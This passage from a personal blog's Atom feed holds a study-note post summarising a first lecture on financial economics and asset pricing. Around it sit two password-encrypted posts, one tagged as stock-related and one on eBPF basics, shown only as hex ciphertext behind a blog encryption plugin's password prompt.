b9c2649c9836aabe6400f898900713cf013c3d29764eee2cd14f73324aac3e59efeeb09fb8525e719a402a64a92e4e101df94c4b2b37b4e2c5f778a29142a92b03d0395843ddde198c52c0c0d0053139b96feefa415d6b82252f9d83bde6e3ef7c9cfe8a32dd1c53c884c8797e704b2d09862c3414bc1c3058dd46735d70475fb19a590376df7bbae26ff1faa8c254a812a455dfc96ebefb423b99c6120827e482ace4a07fa65d1d5f8b8f6163b29de934f66eaf20fd56e617b65ec7</script>  <div class="hbe hbe-content">    <div class="hbe hbe-input hbe-input-default">      <input class="hbe hbe-input-field hbe-input-field-default" type="password" id="hbePass">      <label class="hbe hbe-input-label hbe-input-label-default" for="hbePass">        <span class="hbe hbe-input-label-content hbe-input-label-content-default">Hey, password is required here.</span>      </label>    </div>  </div></div><script data-pjax src="/lib/hbe.js"></script><link href="/css/hbe.style.css" rel="stylesheet" type="text/css">]]></content>
    
    
    <summary type="html">Here&#39;s something encrypted, password is required to continue reading.</summary>
    
    
    
    
    <category term="stock" scheme="https://cl0und.xyz/tags/stock/"/>
    
  </entry>
  
  <entry>
    <title>Financial Economics Lecture1 Foundations, Approaches, and Key Concepts in Asset Pricing</title>
    <link href="https://cl0und.xyz/2024/09/14/Financial-Economics-Lecture1-Foundations-Approaches-and-Key-Concepts-in-Asset-Pricing/"/>
    <id>https://cl0und.xyz/2024/09/14/Financial-Economics-Lecture1-Foundations-Approaches-and-Key-Concepts-in-Asset-Pricing/</id>
    <published>2024-09-14T15:22:35.000Z</published>
    <updated>2024-09-14T15:24:55.895Z</updated>
    
    <content type="html"><![CDATA[<!-- more --><h2 id="I-Introduction-to-Financial-Economics"><a href="#I-Introduction-to-Financial-Economics" class="headerlink" title="I. Introduction to Financial Economics"></a>I. Introduction to Financial Economics</h2><h3 id="A-Definition-and-Scope"><a href="#A-Definition-and-Scope" class="headerlink" title="A. Definition and Scope"></a>A. Definition and Scope</h3><ul><li>Financial Economics: The branch of economics focuses on assigning financial assets efficiently.</li><li>Core task: Understanding and determining the pricing of financial assets.</li></ul><h3 id="B-Key-Concepts"><a href="#B-Key-Concepts" class="headerlink" title="B. Key Concepts"></a>B. Key Concepts</h3><ol><li><p>Assets: Claims on future economic benefits.</p></li><li><p>Two critical dimensions in financial behavior:</p><ol><li>Intertemporal nature of decisions</li><li>**Uncertainty (risk) **associated with future outcomes</li></ol></li></ol><h2 id="II-Overview-of-Financial-Markets"><a href="#II-Overview-of-Financial-Markets" class="headerlink" title="II. Overview of Financial Markets"></a>II. Overview of Financial Markets</h2><h3 id="A-Basic-Structure"><a href="#A-Basic-Structure" class="headerlink" title="A. Basic Structure"></a>A. Basic Structure</h3><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">Funds Suppliers (Asset Buyers) → Investment → Funds Demanders (Asset Sellers)  </span><br><span class="line">                                ← Return ←  </span><br></pre></td></tr></table></figure><h3 id="B-Key-Focus"><a href="#B-Key-Focus" class="headerlink" title="B. Key Focus"></a>B. Key Focus</h3><ul><li>Central question: Determining asset prices</li><li>Pricing mechanism: Driven by supply and demand, which are derived from human behavior</li><li>Challenges: Human behavior is <strong>dynamic</strong> and <strong>uncertain</strong></li></ul><h3 id="C-Corporate-Finance"><a href="#C-Corporate-Finance" class="headerlink" title="C. Corporate Finance"></a>C. Corporate Finance</h3><ul><li>Special case: When asset sellers are corporations</li></ul><h2 id="III-Approaches-in-Financial-Economics"><a href="#III-Approaches-in-Financial-Economics" class="headerlink" title="III. Approaches in Financial Economics"></a>III. Approaches in Financial Economics</h2><h3 id="A-Equilibrium-Pricing"><a href="#A-Equilibrium-Pricing" class="headerlink" title="A. Equilibrium Pricing"></a>A. Equilibrium Pricing</h3><ul><li>Method: Build a model incorporating human preferences and constraints to deduce behavior and determine supply and demand.</li><li>Advantage: Can determine asset prices from fundamental principles.</li><li>Disadvantage: Relies on assumptions that may be inaccurate or oversimplified.</li></ul><h3 id="B-No-Arbitrage-Pricing"><a href="#B-No-Arbitrage-Pricing" class="headerlink" title="B. No-Arbitrage Pricing"></a>B. No-Arbitrage Pricing</h3><ul><li>Method: Deduce asset prices based on known prices of other assets.</li></ul><h3 id="C-Financial-Frictions-Analysis"><a href="#C-Financial-Frictions-Analysis" class="headerlink" title="C. Financial Frictions Analysis"></a>C. Financial Frictions Analysis</h3><ul><li>Focus areas: Information asymmetry, period mismatch</li></ul><h3 id="D-Behavioral-Finance"><a href="#D-Behavioral-Finance" class="headerlink" title="D. Behavioral Finance"></a>D. Behavioral Finance</h3><ul><li>Approach: Incorporates “irrational” factors to better understand the behavior of market participants.</li></ul><h2 id="IV-Market-Efficiency-and-Behavioral-Finance"><a href="#IV-Market-Efficiency-and-Behavioral-Finance" class="headerlink" title="IV. Market Efficiency and Behavioral Finance"></a>IV. Market Efficiency and Behavioral Finance</h2><ul><li>Question of market efficiency remains central to financial economics.</li><li>Behavioral finance helps explain deviations from traditional rational models.</li></ul><h2 id="V-Assets-and-Rate-of-Return"><a href="#V-Assets-and-Rate-of-Return" class="headerlink" title="V. Assets and Rate of Return"></a>V. Assets and Rate of Return</h2><h3 id="A-Basic-Model-Single-Period-Binary-Tree"><a href="#A-Basic-Model-Single-Period-Binary-Tree" class="headerlink" title="A. Basic Model: Single-Period Binary Tree"></a>A. Basic Model: Single-Period Binary Tree</h3><ul><li><p>Current price: P</p></li><li><p>Future payoffs:</p><ul><li>Xu (probability q)</li><li>Xd (probability 1-q)</li></ul></li></ul><h3 id="B-Key-Questions"><a href="#B-Key-Questions" class="headerlink" title="B. Key Questions"></a>B. Key Questions</h3><ol><li><p>Given Xu and Xd, how to determine P?</p></li><li><p>What determines Xu and Xd? (Beyond the scope of financial economics)</p><ol><li>Industry factors</li><li>Business strategies</li><li>Competitive landscape</li><li>Management aspirations</li><li>Macroeconomic conditions</li><li>Geopolitical factors</li></ol></li></ol><h3 id="C-Return-Calculations"><a href="#C-Return-Calculations" class="headerlink" title="C. Return Calculations"></a>C. Return Calculations</h3><ul><li>Upside return: ru = (Xu/P) - 1</li><li>Downside return: rd = (Xd/P) - 1</li><li>Expected return: E(r) = q*ru + (1-q)*rd = E(x)/P - 1</li></ul><h3 id="D-Price-Return-Relationship"><a href="#D-Price-Return-Relationship" class="headerlink" title="D. Price-Return Relationship"></a>D. Price-Return Relationship</h3><ul><li>Inverse relationship between price (P) and expected return E(r)</li><li>Higher asset price → Lower expected return</li><li>Lower asset price → Higher expected return</li></ul><h3 id="E-Risk-Return-Trade-off"><a href="#E-Risk-Return-Trade-off" class="headerlink" title="E. Risk-Return Trade-off"></a>E. Risk-Return Trade-off</h3><ul><li>“Good” assets typically have higher prices but lower expected returns</li><li>“Bad” (riskier) assets typically have lower prices but higher expected returns</li><li>Market equilibrium tends to balance risk and return across assets</li></ul><h2 id="VI-Equilibrium-Pricing-Absolute-Pricing"><a href="#VI-Equilibrium-Pricing-Absolute-Pricing" class="headerlink" title="VI. Equilibrium Pricing (Absolute Pricing)"></a>VI. Equilibrium Pricing (Absolute Pricing)</h2><h3 id="A-Concept"><a href="#A-Concept" class="headerlink" title="A. Concept"></a>A. Concept</h3><ul><li>Price is determined by the interaction of supply, demand, and behavior (under uncertainty/risk)</li><li>Aims to price assets from fundamental principles</li></ul><h3 id="B-Expected-Utility-Theory"><a href="#B-Expected-Utility-Theory" class="headerlink" title="B. Expected Utility Theory"></a>B. Expected Utility Theory</h3><ul><li><p>Addresses limitations of simple expected value calculations</p></li><li><p>Example: St. Petersburg paradox (where E = ∞)</p><ul><li>Demonstrates why expected value alone is insufficient for decision-making</li></ul></li></ul><h3 id="C-Risk-and-Asset-Pricing-An-Example"><a href="#C-Risk-and-Asset-Pricing-An-Example" class="headerlink" title="C. Risk and Asset Pricing: An Example"></a>C. Risk and Asset Pricing: An Example</h3><ol><li><p>Steel Company:</p><ol><li>Current price: Ps</li><li>Future dividends: 50% chance of 25,15</li></ol></li><li><p>Pharmaceutical Company:</p><ol><li>Current price: Pp</li><li>Future dividends: 50% chance of 40,0</li></ol></li></ol><p>Despite pharmaceutical companies having higher variance (risk), Pp should typically be higher than Ps. This counterintuitive result stems from the potential for higher returns, not just the risk involved.</p><h3 id="D-Performance-Evaluation-Beyond-Simple-Metrics"><a href="#D-Performance-Evaluation-Beyond-Simple-Metrics" class="headerlink" title="D. Performance Evaluation: Beyond Simple Metrics"></a>D. Performance Evaluation: Beyond Simple Metrics</h3><p>Consider two portfolio managers:</p><ul><li><p>Manager A: Average return rA = 10%, standard deviation σA</p></li><li><p>Manager B: Average return rB = 8%, standard deviation σB</p></li><li><p>If σA &lt; σB, can we conclude A is better than B?</p><ul><li>Not necessarily. Must consider risk-adjusted returns and investor preferences.</li></ul></li></ul><h2 id="VII-No-Arbitrage-Pricing-Relative-Pricing"><a href="#VII-No-Arbitrage-Pricing-Relative-Pricing" class="headerlink" title="VII. No-Arbitrage Pricing (Relative Pricing)"></a>VII. No-Arbitrage Pricing (Relative Pricing)</h2><h3 id="A-Concept-1"><a href="#A-Concept-1" class="headerlink" title="A. Concept"></a>A. Concept</h3><ul><li>Based on the Law of One Price (LOOP)</li><li>Riskless profit opportunities violate LOOP</li></ul><h3 id="B-Examples"><a href="#B-Examples" class="headerlink" title="B. Examples"></a>B. Examples</h3><ol><li><p>Fast Food Combo:</p><ol><li>If Hamburg = 1 and Coke=1, then (Hamburg, Coke) combo should = $2</li><li>Any deviation creates arbitrage opportunity</li></ol></li><li><p>Investment Box:</p><ol><li><p>Box transforms 1 into 1.02 (2% return)</p></li><li><p>Bank deposit rate = 3%</p></li><li><p>Box value?</p><ul><li>Not zero, despite lower return than bank</li><li>Option value exists if interest rates fall below 2% in future</li></ul></li></ol></li></ol><h3 id="C-Replication-and-Hedging"><a href="#C-Replication-and-Hedging" class="headerlink" title="C. Replication and Hedging"></a>C. Replication and Hedging</h3><ul><li>Core of no-arbitrage pricing: Replicating cash flows</li><li>Enables hedging strategies</li><li>Fundamental to modern financial innovations</li></ul><h2 id="VIII-Financial-Frictions"><a href="#VIII-Financial-Frictions" class="headerlink" title="VIII. Financial Frictions"></a>VIII. Financial Frictions</h2><h3 id="A-Maturity-Mismatch"><a href="#A-Maturity-Mismatch" class="headerlink" title="A. Maturity Mismatch"></a>A. Maturity Mismatch</h3><ul><li>Lenders prefer liquidity (short-term)</li><li>Borrowers need stability (long-term)</li><li>Example: Construction projects require stable, long-term funding</li></ul><h3 id="B-Role-of-Financial-Intermediaries"><a href="#B-Role-of-Financial-Intermediaries" class="headerlink" title="B. Role of Financial Intermediaries"></a>B. Role of Financial Intermediaries</h3><ul><li>Banks transform short-term deposits into long-term loans</li><li>Crucial for economic stability and growth</li></ul><h2 id="IX-Market-Efficiency-and-Behavioral-Finance"><a href="#IX-Market-Efficiency-and-Behavioral-Finance" class="headerlink" title="IX. Market Efficiency and Behavioral Finance"></a>IX. Market Efficiency and Behavioral Finance</h2><h3 id="A-Efficient-Market-Hypothesis-EMH"><a href="#A-Efficient-Market-Hypothesis-EMH" class="headerlink" title="A. Efficient Market Hypothesis (EMH)"></a>A. Efficient Market Hypothesis (EMH)</h3><ul><li>Fama’s theory: Markets rapidly incorporate all available information</li><li>Implies no persistent arbitrage opportunities</li></ul><h3 id="B-Challenges-to-EMH"><a href="#B-Challenges-to-EMH" class="headerlink" title="B. Challenges to EMH"></a>B. Challenges to EMH</h3><ul><li><p>Shiller’s counterarguments</p></li><li><p>Behavioral Finance insights:</p><ul><li>Irrationality: e.g., overconfidence bias</li><li>Limited arbitrage: Practical limits to exploiting mispricings</li></ul></li></ul><h3 id="C-Martingale-Concept"><a href="#C-Martingale-Concept" class="headerlink" title="C. Martingale Concept"></a>C. Martingale Concept</h3><ul><li>Mathematical foundation for fair games and efficient markets</li></ul><h2 id="Key-Takeaways-from-Lecture-1"><a href="#Key-Takeaways-from-Lecture-1" class="headerlink" title="Key Takeaways from Lecture 1"></a>Key Takeaways from Lecture 1</h2><ol><li>Financial Economics focuses on the efficient allocation of financial assets and understanding asset pricing.</li><li>The field employs various approaches: equilibrium pricing, no-arbitrage pricing, and consideration of financial frictions.</li><li>Understanding risk, return, and their relationship is crucial in asset valuation.</li><li>Market efficiency and behavioral factors play significant roles in financial markets.</li><li>Both absolute (equilibrium) and relative (no-arbitrage) pricing methods are essential tools in financial economics.</li><li>Financial frictions, such as maturity mismatches, highlight the importance of financial intermediaries.</li></ol>]]></content>
    
    
    <summary type="html">the first class of economics</summary>
    
    
    
    
    <category term="economics" scheme="https://cl0und.xyz/tags/economics/"/>
    
  </entry>
  
  <entry>
    <title>eBPF基础学习</title>
    <link href="https://cl0und.xyz/2024/09/14/eBPF%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0/"/>
    <id>https://cl0und.xyz/2024/09/14/eBPF%E5%9F%BA%E7%A1%80%E5%AD%A6%E4%B9%A0/</id>
    <published>2024-09-14T14:32:48.000Z</published>
    <updated>2024-09-14T14:50:13.856Z</updated>
    
    <content type="html"><![CDATA[<div class="hbe hbe-container" id="hexo-blog-encrypt" data-wpm="Oh, this is an invalid password. Check and try again, please." data-whm="OOPS, these decrypted content may changed, but you can still have a look.">  <script id="hbeData" type="hbeData" data-hmacdigest="7d0b3a51bad970f31f6dd11bf2c10c818377d1dac8b1907e224c8b927b9f05d4">f8c89326e2dd27398d7b0a10fab7ffc5c1a3b79cf3ebeae27a2601007c3f2a8b10d581056c01299c82ec80e0b89f339d1f4526a0133bfe46d398b31b013af5ffe49a47f4239f5a452437c1f63fbee12aa875d3fa80480f5d5fc0ab73dc77cfb8904cb26138f2a9da759716300b20af2f94af1b5304ab01a11c3d81b6c2c6109a01810766d03c05f0935252f9b666e447fcb9b336124ccd5a3e7e2ccb6f6f3fb0963a22316e21d78965110b93e423015e29b60b42a6ed6145d83cdaf478ae3c4345a559415340496c2e619539036fdf82f773f644b23b18b94eed35c5e7fba3824df91881d75ca4e8e245224a34803242c295740a5bf56df0adc741a13cc73ece48681c62bbbec375f199ca88ec1626f4e1d0aeaa16cfecb0b1ed1d8131aeb86b9e47322a6611902a4756cb1e9eca4d27b650e71f5a85e1f9d4a8b3dfcba6b60babccf1a3373f44363c845021efd40806bff950cb36ca8a23828e4a0f78514a6bdcd0db55adb26b489117f24337bae6130694db486e3431aa8646cec0e350e9decbb8e1447b0e7178e43eaaf01256e4aba9f18e634bbf8c9879d54f964a5518c4acb41441e66a09e5c65fdb43b68e6fcb65090ec06bcfb5b61cfa001b0aa1df2be7e20b839ae1d4390fb67b61e04dbbcf4777b7bbfe1f309928d07f963793dd5f66bbbfd147e409be8a1d999a3c2eb806734d8fe6145028b3eac47d29318a4386b00e1aaa2fa8040f162e7523f52f05ff55609f86d92524fc824bbb6db5a06bb48e0663c690d6005ee1c73cb7b9d25f055513a75165db993beda8a6c392953cc4ff6e7eb183e4db38106b6b2ae542bef89f20cd465283931cc77ac585526385a96609f0c5e4824788fea4dd28e4acc358ec300caea4fe9bfff845640e582db61350525051ffcecf6503bd2e92c58d3667de66a55dc14d488f1edaa1846ba089ed1a79580985072d904ff06dd0d0696156c02b50ad64cb3532b83df7a4b5b48a48ae018d379fcb856ac6134df3fa21b27666c79be36eecf36c5563345da84f385625d6f64d27e5e27fb76a75e121e249b40966ab0895b0fb76e48f2d8ecef6eb1d4210d9e77e07b87169f36f0d43347fa3917ea95003ac7cebe3cc6ce568eda5edeb321bd143e273777e5a0f379120b67f9e1ef799c2f53cf0c002adac271e62af6650d30ff34630b2faaa4175050e79f05ae722dc6d0327167646cf4dc7f56ae68f10cd6426adacddc4b406f1affb8d04348af8bbabdc86686ff4120a9a7ccbc043b9c4732bb7a6cc53661d2395d6a5af09bc97ec6b4aa04b8296943b0966dbe4bde2501a9895ed29d660e545348a6a5b2bba746734e71e84f9a03fd4cd8aa1de62984967d9bb704623c4fac191ac016709c7631fc1b39e2bebd3119d837dbe4e976dc405a5a881a1b1fa30f490c3c879ed5b4acad1f33c46cbeba10185711c6df31df3b914b8401de3e1366aa61dc83c0bd2f8d8b717c1c5889ff3794294ed9c54e342e8c5972bcc4e4fddc1348d6ebe7549724bbff4e90adc92036dcac38d061232a65a843373dbd77dd1bc3a5a4d85e179f96d015d78f4e33d15a550dac25ee858fbcd7ab14e3f77736b027344e44c6b981363d35bedd25b286499b39beb2b173b48c1197c5d28897ec7213e1238181983943a0c6f5a81f06393fe876048d7b51a610952efa2a428304c4f56c1cf489add60491dba5a21316d1ac47a667d5b89f3a4d4ca62e71ed685e54d5909f0bc65ac716b58ac19e644e9adb3493c78f5e20180cb2b49157d87fe0fd271295c86f2261788a2ab70b68020bd6e9a489276c91d39f1617ef7cda60d20b06189810606aec4cb30e9f26be14813695c2d5cf08c7cc18e0c16e90ed133b07bc0df5c094dec3170b2f73c2a76e7cede5f5241bcf55b78019b311e4446661faf20ba8c6302084da41c501d35634da047803d78f146c9777ed03189af3f53aca72647e7f3cb50de4be0f6131d792ff3b1484c86a3bcaea1070b52f11f7b7587f60d9554d1e860708d1c621c8b5c3879b719224c2ed1efa89895cebc2743f94b4835a875c472046809ca2e5b6207ec3e7a2ae1e38f0d61292890d1b3c4b3aa6085d354c7d2540268bdc2212bb6e2df665140e88272486f7ec46db6ce8b7891b520169cef50dd973f349b32c20ffa99ba3e8e60526ef4cee43505ecd89ade1df31015aa5af57569dc1316cf44adf9640a9f5a8688a15e4dfad3790f52a9f8a2cd4669daaf625688a01b247010c22604e1a4c913a0ea1bb9ec73eb569833df6a24896c5982c076588acd6438307aaada03ce7390e74af8bba04fb34a741fa3c894a48b5a1456da779efb586641c0ed6c391289b704db686be6a8ef2cab8b6dc13ef2bf42eeb1c735353b55a4d60df60d1954490b81993cfc4df900af4d4d1094a2ae316d51a87c714920ca3bbdf5fc1df93dc37ccb0f16fe257524eab5d88f8e732e9ed9a58a51cc4cf83c4960483b7ef86db5ab7c68944137add7c4bb09e108ba9f205f8a17d2494ac814f4fd469218c6ff66c086c16a61dea9e09f6103fb8556c9e360fa4ed3e5dcabe2c3cf797eca067e7262eccac516bb036639abbb0bb8b2f8c2f0195e336006ad609822601c3ad776cc407202ba36ed3c9f409796372f7d14c4e93206bec3536fb4e8dc60f4225cf913359f9063b399741af63fc7a8a07934001f94547ffe406675296a33f02809f6f3432454009c2ae09d8c670ce0870660d95b149da3dd82b84dad0401957c66c9f67a39aa61b87805e211d43e5978a29f02224ccb51b797c4f7342f2f147f4fabbb1eec5da35ab2411d2854d655ad1343b86671197b5803cbb9885580f7bd4dac0db8ef59774b200061551c61ac91b5b35fa9d8fce406a118dd979ad13fa9e4e364b36e971994970eabb338edb221c73cc96008d978f8b93d8b11e884550bbc28a561ff29ec7e5de513944daeea90ff9c7c0e5300d2b66cbd5d8d69c601b1a91bdc85e64fd27a810d072b11e64d200c43dc21c2641f2bffaed0b5f8de570aa1775d6d4965f1025c533d367f469b57f66a6217864a9d41d5389592933512b755a37ce65aa6e4c2f0604e6b0587007c8a32584c1ae92867e6ca14ad2aa5562afc69818a17590c8d5c1e786e7ea3e2a15cb79e89998ef923ce7b2f3bae72fa3d00b3333d7c678e672e07bd231d6901388c3af9d53dece1d302b467ee159a9c91033792d37201c83f4da21f6611c07ba3e886b4b2823919eda0d62ca18c8c22c32340c7f6d3518a050416cd60cfbf994f1ebcfc982c13f217dd095703a8bf7b7f000622aed5272dd9279b4ca181edffa8db31ebec394a493096fad337ea7f0361ec44742a5402bdafc8f22f57d3e16c802ff7e3e7dca5637ba9e0579e55327b3eb59e4963983d683847aab7ee2c130e23ffc60e791a3b19e1d6bbd842982b3bbf5d147a9987426851a6824b15232e1c391883eab9f5cb04ab8ed6a68a7415239ec9dbfc19a4a9f280756e2961394e2b1ca2cfdc38793bd4492a9359230920cd647ba1a06100aab548add90a51a2aeca8e40cc3c20349fd52a663ece9361f4a99903ad9fac3c8b2db008fe053273f44b636745a4565b2a2834380e69ed9d0620711c4630d19c66d2a939e4729143ec21acd2d62ae54c5dc4662fff36dd3f3b4c8001308fe40cb8fb6f4d42190de35ad10634adba6eba99acc235d9dae547fcc87adc20a2fa3e677288c4829cfb30ca23144c97b1b28c2a85b46f353cd56b7fa1b3e2d62d7f128a4183c1c538c5244c165d937b61af1672e79b84e95a9247bcc0b3495a8c72f13ba346f44dac974f81b717f38349a224538158d0d1c7ab3fd4accdff5003386d83e2e9ba5631ce94f17c3ef0da23bef4e49e02997484cec4ae6dca32f20e1807ab1d5165bbb3f6c89d41597cba36b947392493cbda32d465c49b43730aa83d41b841666ef79a546f8b3d6acd02dc0c16dd33cac2e1f36861d08eb8c6c9c67650545119fbdd7e0b14f83411120e2b66a3f5210a900d019dfcc3aac38ccece713130ca1af0348219af165be5a107d4a268c3cf3764711492b3e748c48fe4fd5e3de125933f6a6c75a068e3d421e2033efd61c7115edcb27090073fe8f214b096989b8cd0663c8c9a129ec702d94fe9d8d35add040f39fcc99e180fb4b0dc0ecf376975133c17f5f5f61733970c0aa4a4a501f5f3cb1b7420918ebfb0bba0e884520d4ef2211abba5b6dc83da545e16312507dc715df67f4aef070cffba834fef54aff74665751923b7d4ba674e521377de0130c442fdea9fd17d79e680bb2099c4a2c840daca5c5603803ddb6a4aa2f6312a353e2d0cde2c125f678a6aabe6e6ab013a591bf10848e6cdb1bb538d961fb8f1ac4b896cd113c057c40d9103f9c8e30d9bbaac22e1ee8263232057a8eddf5109f1700663384542221808ccdcc02b26d70ca4d2226df4316632a07b74b0ca4e2c72d35e5e1bbecb1d8386fc5c4061d3ef64f69330a8c515ffe644bc9287d3a0fa4db70f08841bbfc7884051ecd5c43a1e0d12e87aef40c0e4416d4e002989f62e08adcb405318f7d1bc2c3157471f7d76ea5791d3b9c32441bae41762f5d4b74536e2f359d58d77ea55af7570013867ae51afa8b655ac18973b1d7b86cc2fbddade0b0d72c33f6ee611a0803efb04eefca8056721b0273ac56b8b5d0e8f9d3f916854510be4193b838ca8e7b9a86e1f48d8d481b46d9ad5cd208f59a2d271f37c889f4190c76b22b6e132d2d44e247a4b990a2052bb03785c95bafb3748d0e2074e49fa8ed86b71cf01e6a6cbac0c304531388e2f3e7da537a6366109d6ebb91e6dc78364db5fe385e40c017d8e5130b549ddca5257781883858825436317c05a4cde8ff66c0053d904b6925dd131a65dd54e07761dd1ce11ede6b272a3f399df978e4962e13236c33546d437a097005070cc44df36f84ba966f1373ce9adbfec29c06735e3b02f78aa175a593f8fe888d077f428843495b247b44235ade9eec09fff06d878091b510bbb58c51691d5b449578eba9f95c3b8259b3026b9688a46a27b9ac89f30e4c620378a5304ca6494d007fdebcfc85886cc73294f3733e1a4d5f9e90c5dd1c9c05dbf0969f66d05149f94e150b2957d14a01cebeff161452c26d71b9cecfdccddfb5feb474056c2e58f93b6b2cbf8b1adb5afc36b0a43145b265aaae79f69e709abfd8540c89fdf0006ca7c10b4ce134d7dc6bd946bc3e238a54cd26f3a2b6d601c8e2591e450aabca1d4d30491cc17e57b5356601eff22696659e8eec1af69f873f80928fc4df7147cbfde19b99eea2d6e3048de6ce4b6c01227093167069162d7d337c4ebc09834a77b6d7609f56c134a139ba98bb66c49aabdd20d41a5eeb37ff53d44391e859e0d0d7dbd4073231b9d281df6869cf3cd665e51a1865b6dea3bc55d1531e33dfc08a500b09cb86223bf6b972932a71e6b38658016141639a058a6216c6cc00b9c80fa4146f65dabee9fc732ee1b8d0aa9b62806900de9ff4ebfa51745ec3b9e56840626f1a5ac0cf1e3f84a6c00af3892fd054da20966754f3f6bb15bc720c655d524dff6759ecbdba177a0257fe0e8fdeba860f16002aaa114c9e35647198b402929e5f97ed556259fa6a09d0a7a489694b750dd5547a20102c21e3c8dbc0739b7da4b7cb9d1974824ff5ab1976c559b50b6da1469a1a5002d04bf80a56fa0dd3a90b4340dd550692eb042e8a2fb5972b1982b65651eb48e82f613d0b2142849dddb426031bd7c774576e2fd998ba4befc9a07783959f5b71ff8d1d0ad37566cdce2056c11408c118a5956aecc05102290bb5044b871c122b59c155471ec9c4843a617d0059277bfde5555407b6de53751f9194b8398cfcffdbf5973e5efca84b5f4688a44c1613cac655d7ffc51e9feb61166e2c9b1339fb726de330e9f14451a970f7620ed00d38c065aad74fa0b126df9adaf6b39e2a3b0486ac6642c8a643b8c95736ab0de49cfb8f9ad1d357720cdb35ec6a42eb1154d45632aadd50da7acac645130600ea845c2861fd41bf0b2d711449730911c95982830ab1cf44cc4bc9c75b2c10e553190b780b1dc8f7a572ccc020981d043ca4df27312a7a2a43b958039ffc6ef2ac27f7451dd8482d04766580cb39d973f481085bce34db8523c6a58f43d67adbad55d4315af65faceedc67f2937694021c864d822761520cf79336bc8ad152e0a93d4eac7a9840671866be85cc593f40418ba04932f5f4ea5fb68b7e3079aceece3349542e36e8b08630f778c1b0c8869f37742583844d5375cac18af6399c3bfce196bff3a7aad5969f39e47a573494085ef2aa8240134d9a9271277279e9cd974fa57eab5fbed90f2ee349a36f4cf115ad81f0ea889f5bdb98bb98045bdf28768aed260d98c3109c57ea1de73319521bb4c8ae047ac49330615402d4a525a42ee7336e06564d1a77aaa3de184f76f65c98ecb6917f2c53dac41c38b3f1cf5c4289361d496eb4f13f8e0d9f1f2d254eaa73e006d5850bbb0c009ece8a3f7b9e23cce7a82a4a82a028c8f43f413e8037f59f61674c7e8c84dc4182e075353186db128e4ab4caac629b2861850ebe0beae107b264a366d420f95b724c001449da24d8fabac06126f586a131a404ce687b009f09d298c50734d0bea0b1fe1a7e74ae3f446e9c73fd62e54e3a5c33ba3f8287c34eece23d7bba252ae9d454c318e24941de89684d29c8f114d2e45d6fec03e48dc440b37265601bfe11d4300facdadc16dc01954f20c35b23bde9a0f5cdbbf84bfd8dee3534c3cc39784da299ba4c26ae23e2f048e8940539eb6f00d0f716291f1294574387adc1138c66bcb590f442bfe9774f123019e77adb3fd17d8f16455ee5503d52127cffed27d33f11b31592b7e0a2f999b773a3a876b89f58e653930ac1d783e88d8445a2da27b232f769bd950f135aa0c01b0412340faeb0c698491f0f6202e1752d2e00e8d4801f871c9ace127b4e4eb73c17e08ff47acdaad32920c8c53258fccc44e52ef98d6690bec5eca903e3bec50987162b188193334d6332769544f8f226870e52dd6630e94e97b840f755d05c3306edb384abc71ea26401ee9f4b63a8661a11f00ba49065609119bb8016f99b535321ad476086501cd03127c56ab385dc37877ae8be09dca525d9a06c3f541004c4c7f7127bcc65e4eefbb9322e66a9025c98af760ae2e820fb3e898b08b1dba4475869e5e0ffe970463485f03c4dd79e1c0586175c0e465a77a8edcb2074459202e6fa55625c13f98eeae8bca315592f4da8d86dbed4e2a59915607963bb07aa22fa1a7f8cd10f4185bbcbc5345858485888df3a5a6e059ffd35cf53279dfea52f7a70b7a387dca7e024b1bd7054605155e16157eafe414c93c17c8a3a3dd83c0bfed8e9f0766019f1de99cd0832999f2bd928faca5221746d90f4453579048ec69e2e3b3c48256196058b563e122bb18fe4309ef4bbba628a597e14b775cb6cb77d7447678286b5cf73a0f504329c43d9a38cbe502e3bbf5b8d2f0192a8b6415a57aaf6c897e691426c6f40eb6919c40c2bc7ba7814ab286f480d372b8d0833cff6f4c0416bf963e6ef063108fb57071c687ce03143ea33bd79a9ef5f37c890a1a92bba71c5ef8a68003a10f6ecd71107708d6aadbc1ed5b204c72bb02c26099346fdc1e46ccd160e08be0fe11b80005c03f8ab02b14574473c9d704c61b09becc3761e57be02f848f96fad3ae60011bcc23ef8360253d2ed4fb6a5e4b61deb1284431dacbe8cfc09022e6931a1c22f728cca275a8f80553fe687ef46a8720f1fef56c3a8a3c1c9bd490be9e7523ded78c32782aa2daf8f42c5c5dfe5644bbcd7052f5cf7234a4a2368126c88c369f4e319ca55347e5c0f90222d37e02341147f44bddfba87d44dc2e40801574cdde5b253594c78f24d1f7bd2ad0f6d66efd0e528d604d77c4284c0e061f14e7f34dc0ed74858c4187edc1d26bd3323bab15f5bb5334c9ea46132c262d51ab7a976c5f5fc1e4348504527d2cd29eb1e00be28dc3a09998c5c1178fcee26a9f642ec28e303c0391cc72bbd4fca9609e47e4b5b6e079f84c69da69cbf7eed49f9a294c4567abae82e75e95a035d671dbdbee7290619d0db9e2797b61da02f3a9293bd121318481345fbc2ebcc33dcf838d72d5c754396ff31a78c46fcfebfe3e12777fc1dfed3018a670dc2f54158b9e7cfff8bf6dcaab9889037fc40a7867fb0aee69decdbdea1dcb9d7c72d749484ec6733c80329bbf24626fce8a4a05b961ba970761077aeeccf493831484c3771ce07eef17a305324e4b35806d0e2c6644db0523625af6ffd13ba9bdd6ebac751debaeea7ef6f7936d69a7d656c94748eb01a48f588f88d2dc9b5a222c1b6c0a30ea3fd40b1404cff92ba0ac63dafc2baab8f0b270869409fcfad72631a5a77cfe1662b85e8cbb6e5e0ab7cb5a663036647c35d791ecabe1d8e62e12cceda1c41bf9d23695f792663b0b39f147f3e8415ec37a93a22adeda8a080cf3c3f6a1350c3809cb3ea0b45b0e478a96d18990628c5ebe1e711e61de1463c127fab9412ee057cdeb69e7ef487c411a87f0e66dacad43b20f901e722d054a0c1fdbc975592bef320c6e85b4cda8fd5efebd23254dfac1a4f5cdb29b7b33b5f310d07305e24859b3b0ca3556b6869ea45c2bba1eccaee8a43915605153fdb9dce1910ccb2ecd58e3aec9cb0b24d9018c605d440db22c9ba4394ea2e41ca19d615d5a7087ac38e61cfdd8f1d021cd32044342780d04d9d2af3fabede77805fb32a9543946344ed3ae514fa2f4217f1eacf489f3e8daf7315edfa1a2b3f6d6dbd2fc5a4fdcb4d1db761c0b11888c80acd33d03191997811bf1bbb74271179a1fe128f8ca905036f9731b49c3e0fc61265f81f21969def99b37e31fc8e6f87224a5f648866551f9a6a4cab29f89c83d5b8546dd5898e5b3c73d5334dc7b06a8cec8153eeff452d